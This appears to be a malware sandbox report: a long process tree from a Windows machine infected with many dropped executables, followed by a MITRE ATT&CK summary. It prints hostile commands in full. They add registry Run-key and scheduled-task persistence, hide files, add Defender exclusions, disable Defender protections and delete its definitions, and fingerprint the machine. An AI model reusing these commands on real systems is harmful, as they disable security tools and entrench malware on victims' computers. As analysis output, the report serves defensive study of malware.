C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3424,i,8671592497915938234,6373895038459054377,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:17⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\erererer.exe"C:\Users\Admin\AppData\Local\Temp\Files\erererer.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Bloxflip%20Predictor.exe"C:\Users\Admin\AppData\Local\Temp\Files\Bloxflip%20Predictor.exe"3⤵
-
C:\Windows\Bloxflip Predictor.exe"C:\Windows\Bloxflip Predictor.exe"4⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"5⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Windows.exe"5⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Windows\Bloxflip Predictor.exe"4⤵
- Views/modifies file attributes
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Aquarius.exe"C:\Users\Admin\AppData\Local\Temp\Files\Aquarius.exe"3⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\238A.tmp\239A.tmp\239B.bat C:\Users\Admin\AppData\Local\Temp\Files\Aquarius.exe"4⤵
-
C:\Windows\system32\timeout.exetimeout 15⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f5⤵
-
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"5⤵
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"6⤵
-
-
-
C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"5⤵
-
-
C:\Windows\system32\java.exe"C:\Windows\system32\java.exe"5⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\48A6.tmp\48A7.tmp\48A8.bat C:\Windows\system32\java.exe"6⤵
-
C:\Windows\system32\timeout.exetimeout 17⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f7⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f7⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f7⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f7⤵
-
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"7⤵
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"8⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'"9⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"9⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""9⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"9⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"9⤵
-
-
-
-
C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"7⤵
-
-
C:\Windows\system32\java.exe"C:\Windows\system32\java.exe"7⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\959D.tmp\959E.tmp\959F.bat C:\Windows\system32\java.exe"8⤵
-
C:\Windows\system32\timeout.exetimeout 19⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f9⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f9⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f9⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f9⤵
-
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"9⤵
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"10⤵
-
-
-
C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"9⤵
-
-
C:\Windows\system32\java.exe"C:\Windows\system32\java.exe"9⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\89A.tmp\89B.tmp\89C.bat C:\Windows\system32\java.exe"10⤵
-
C:\Windows\system32\timeout.exetimeout 111⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f11⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f11⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f11⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f11⤵
-
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"11⤵
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"12⤵
-
-
-
C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"11⤵
-
-
C:\Windows\system32\java.exe"C:\Windows\system32\java.exe"11⤵
-
-
C:\Windows\system32\timeout.exetimeout 511⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\system32\timeout.exetimeout 59⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\system32\timeout.exetimeout 57⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\system32\timeout.exetimeout 55⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\37cqsj.exe"C:\Users\Admin\AppData\Local\Temp\Files\37cqsj.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe"C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe" /setupsucc4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\JAMMX4im1BtsCSq.exe"C:\Users\Admin\AppData\Local\Temp\Files\JAMMX4im1BtsCSq.exe"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\JAMMX4im1BtsCSq.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\Files\JAMMX4im1BtsCSq.exe"C:\Users\Admin\AppData\Local\Temp\Files\JAMMX4im1BtsCSq.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\icecast2_2.0.0_VULNERABLE.exe"C:\Users\Admin\AppData\Local\Temp\Files\icecast2_2.0.0_VULNERABLE.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\4.exe"C:\Users\Admin\AppData\Local\Temp\Files\4.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\Files\mimikatz.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe"C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\main.exe"C:\Users\Admin\AppData\Local\Temp\Files\main.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\main.exe"C:\Users\Admin\AppData\Local\Temp\Files\main.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"5⤵
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe csproduct get uuid6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"5⤵
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe csproduct get uuid6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"5⤵
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe csproduct get uuid6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"5⤵
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe csproduct get uuid6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\000.exe"C:\Users\Admin\AppData\Local\Temp\Files\000.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windl.bat""4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\LukeJazz.exe"C:\Users\Admin\AppData\Local\Temp\Files\LukeJazz.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k copy Decide Decide.cmd & Decide.cmd & exit4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\CovidPass.exe"C:\Users\Admin\AppData\Local\Temp\Files\CovidPass.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Q2Rb9HA.exe"C:\Users\Admin\AppData\Local\Temp\Files\Q2Rb9HA.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\disbalancer-go-client-windows-386.exe"C:\Users\Admin\AppData\Local\Temp\Files\disbalancer-go-client-windows-386.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ipscan.exe"C:\Users\Admin\AppData\Local\Temp\Files\ipscan.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\requirements.exe"C:\Users\Admin\AppData\Local\Temp\Files\requirements.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Backup.exe"C:\Users\Admin\AppData\Local\Temp\Files\Backup.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Software.exe"C:\Users\Admin\AppData\Local\Temp\Files\Software.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\Software.exe"C:\Users\Admin\AppData\Local\Temp\Files\Software.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\Software.exe'"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\Software.exe'6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend6⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"5⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"5⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Petya.A.exe"C:\Users\Admin\AppData\Local\Temp\Files\Petya.A.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cabalmain.exe"C:\Users\Admin\AppData\Local\Temp\Files\cabalmain.exe"3⤵
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Program Files\RDP Wrapper\RDPWInst.exe"C:\Program Files\RDP Wrapper\RDPWInst.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\cecaeadacdbfec.exe"C:\ProgramData\cecaeadacdbfec.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Users\Admin\AppData\Local\Temp\5_240925953.exeC:\Users\Admin\AppData\Local\Temp\5_240925953.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Users\Admin\AppData\Local\Temp\5_240925953.exeC:\Users\Admin\AppData\Local\Temp\5_240925953.exe1⤵
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Users\Admin\AppData\Roaming\syshost.exeC:\Users\Admin\AppData\Roaming\syshost.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\ProgramData\ea51b1e7-ea9a-487b-9fa7-124d9bcd58dd\FnHotkeyUtility.exeC:\ProgramData\ea51b1e7-ea9a-487b-9fa7-124d9bcd58dd\FnHotkeyUtility.exe -ScanType1⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Users\Admin\AppData\Local\Temp\5_240925953.exeC:\Users\Admin\AppData\Local\Temp\5_240925953.exe1⤵
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Users\Admin\AppData\Roaming\syshost.exeC:\Users\Admin\AppData\Roaming\syshost.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\5.exeC:\Users\Admin\AppData\Local\Temp\Files\5.exe1⤵
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\ProgramData\ea51b1e7-ea9a-487b-9fa7-124d9bcd58dd\FnHotkeyUtility.exeC:\ProgramData\ea51b1e7-ea9a-487b-9fa7-124d9bcd58dd\FnHotkeyUtility.exe -ScanType1⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Users\Admin\AppData\Local\Temp\5_240925953.exeC:\Users\Admin\AppData\Local\Temp\5_240925953.exe1⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Users\Admin\AppData\Roaming\syshost.exeC:\Users\Admin\AppData\Roaming\syshost.exe1⤵
-
C:\Users\Admin\AppData\Roaming\syshost.exeC:\Users\Admin\AppData\Roaming\syshost.exe1⤵
-
C:\Users\Admin\AppData\Roaming\OneDrive.Sync.Service.exeC:\Users\Admin\AppData\Roaming\OneDrive.Sync.Service.exe1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Windows\Bloxflip Predictor.exe"C:\Windows\Bloxflip Predictor.exe"1⤵
-
C:\Windows\system32\WinBioData\WindowsDataUpdater.exeC:\Windows\system32\WinBioData\WindowsDataUpdater.exe1⤵
-
C:\Windows\system32\schtasks.exe"schtasks" /create /tn "WindowsDataUpdater" /sc ONLOGON /tr "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /rl HIGHEST /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exeC:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe1⤵
-
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exeC:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""3⤵
-
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
-
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"3⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic csproduct get uuid4⤵
-
-
-
-
C:\Windows\system32\java.exeC:\Windows\system32\java.exe1⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4819.tmp\481A.tmp\481B.bat C:\Windows\system32\java.exe"2⤵
-
C:\Windows\system32\timeout.exetimeout 13⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f3⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f3⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\syshost.exeC:\Users\Admin\AppData\Roaming\syshost.exe1⤵
-
C:\ProgramData\bnv_Valid\PReflector64.exeC:\ProgramData\bnv_Valid\PReflector64.exe1⤵
-
C:\ProgramData\ea51b1e7-ea9a-487b-9fa7-124d9bcd58dd\FnHotkeyUtility.exeC:\ProgramData\ea51b1e7-ea9a-487b-9fa7-124d9bcd58dd\FnHotkeyUtility.exe -ScanType1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
